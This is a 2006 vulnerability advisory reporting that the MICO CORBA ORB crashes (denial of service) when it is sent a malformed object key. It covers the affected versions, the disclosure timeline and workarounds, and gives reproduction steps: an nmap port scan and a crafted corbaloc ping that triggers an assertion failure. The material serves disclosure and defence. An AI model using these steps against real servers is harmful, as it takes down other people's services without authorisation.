Mico crashes when contected with wrong IOR / DoS
== == == TOC == == ==
1. Affected Vendor
2. Affected Product
3. Vulnerability
4. Safety Hazard
5. Disclosure Timeline
6. Vendor Response
7. Patch / Workaround
8. Vulnerability Details
---------------------
== 1. Affected Vendor ==
Object Security
== 2. Affected Products ==
MICO - Mico is CORBA, Open Source ORB
tested on Version
2.3.12RC3
2.3.12
and latest from repository
more infos: http://www.mico.org
== 3. Vulnerability ==
MICO crashes when contacted with wrong object key (part: orb-id or
orb-creation time)
== 4. Safety Hazard ==
critical, potential Denial-of-Service
== 5. Disclosure Timeline ==
2006-06-27 Problem found and analysed / tested with other versions
2006-06-29 Vulnerability reported to vendor and MICOs
devel-mailing-list
2006-07-05 2nd mail to vendor and mailing-list
2006-07-06 Full disclosure
== 6. Vendor Response ==
None.
== 7. Patch / Workaround ==
No Patch avaible yet.
possible Workarounds
a) Don't use MICO in or over public networks
b) Protect MICO with an (IIOP) firewall
== 8. Vulnerability Details ==
The following is for educational purposes only!
Start the orb, you'll crash # Example code
-> http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz
$ ./server
scan your target...
$ sudo nmap -sS -oM results.nmap -p 1-65535 192.168.1.10 /
| grep unknown
8010/tcp open unknown
49576/tcp open unknown
51140/tcp open unknown
One of these port could be the orb. Lets try to ping
(object._non_exists()) the last one. For this I'm using a special
handmade CORBA-Ping-Prog. It's also possible to use JacORBs pingo..
My JPing is avaible at
http://wwwstud.informatik.uni-rostock.de/~cb098/JPing.java
$ java JPing -p corbaloc:: 192.168.1.10:8010//200/1151845678/0/_5
orb.string_to_object ... ok
object exists? Exception caught; org.omg.CORBA.COMM_FAILURE:
vmcid: SUN minor code: 208 completed: Maybe
The line above are indicating that there was something wrong. On
every active port, you'll get COMM_FAILURE; but on the ORB-port
OBJECT_NOT_EXIST is expected and mandatory by OMG CORBA Spec.
(See http://www.omg.org)
-- mico testserver crashed / output --
A look into server terminal let us know, that there's sth. wrong.
$ ./server
IOR:010000000e00000049444c3a48656c6c6f3a312e300000000200000000000000390
0000001010000160000006c6f63616c686f73 742e6c6f63616c646f6d61696e00c4c71
50000002f363836302f313135313735303432362f302f5f300000000100000024000000
0100 000001000000010000001400000001000000010001000000000009010100000000
00 # myior <-- everything is ok until here
server: orb.cc:332: void CORBA::ORBInvokeRec::set_answer_invoke(CORBA::
InvokeStatus, CORBA::Object*, CORBA:: ORBRequest*, GIOP::AddressingDisp
osition): Assertion `_type == RequestInvoke' failed.
Aborted